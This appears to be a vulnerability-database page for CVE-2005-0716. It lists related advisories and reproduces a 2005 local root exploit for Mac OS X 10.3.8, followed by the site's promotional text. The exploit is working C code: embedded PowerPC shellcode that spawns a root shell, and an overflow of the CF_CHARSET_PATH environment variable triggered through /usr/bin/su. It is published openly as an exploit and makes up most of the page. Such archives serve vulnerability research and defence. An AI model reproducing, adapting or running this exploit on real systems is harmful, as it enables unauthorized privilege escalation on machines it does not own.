Apple Mac OSX 10.3.8 - 'CF_CHARSET_PATH' Local Buffer Overflow / Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2005-0716 | 22 Mar 200505:00 | – | cve | |
| CVE-2005-0716 | 22 Mar 200505:00 | – | cvelist | |
| Apple Mac OSX 10.3.8 - 'CF_CHARSET_PATH' Local Buffer Overflow (2) | 2 Aug 200600:00 | – | exploitdb | |
| EUVD-2005-0717 | 7 Oct 202500:30 | – | euvd | |
| Apple Mac OSX 10.3.x - Multiple Vulnerabilities | 21 Mar 200500:00 | – | exploitpack | |
| Mac OS X Multiple Vulnerabilities (Security Update 2005-003) | 21 Mar 200500:00 | – | nessus | |
| CVE-2005-0716 | 21 Mar 200505:00 | – | nvd | |
| iDEFENSE Security Advisory 03.21.05: Mac OS X CF_CHARSET_PATH Buffer Overflow Vulnerability | 22 Mar 200500:00 | – | securityvulns | |
| Apple Mac OS X 10.3.x Multiple Vulnerabilities | 1 Jul 201400:00 | – | seebug |
/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
* *
* by: [email protected] (fakehalo/realhalo) *
* *
* found by: iDefense (anon finder) *
* *
* saw the advisory on bugtraq and figured i'd slap this *
* together, so simple i had to. exploits via the *
* /usr/bin/su binary. you must press ENTER at the *
* "Password: " prompt. *
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: [email protected], found by iDefense adv. (anon)\n\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
printf("[*] setting up the environment.\n");
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}
// milw0rm.com [2005-03-22]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01051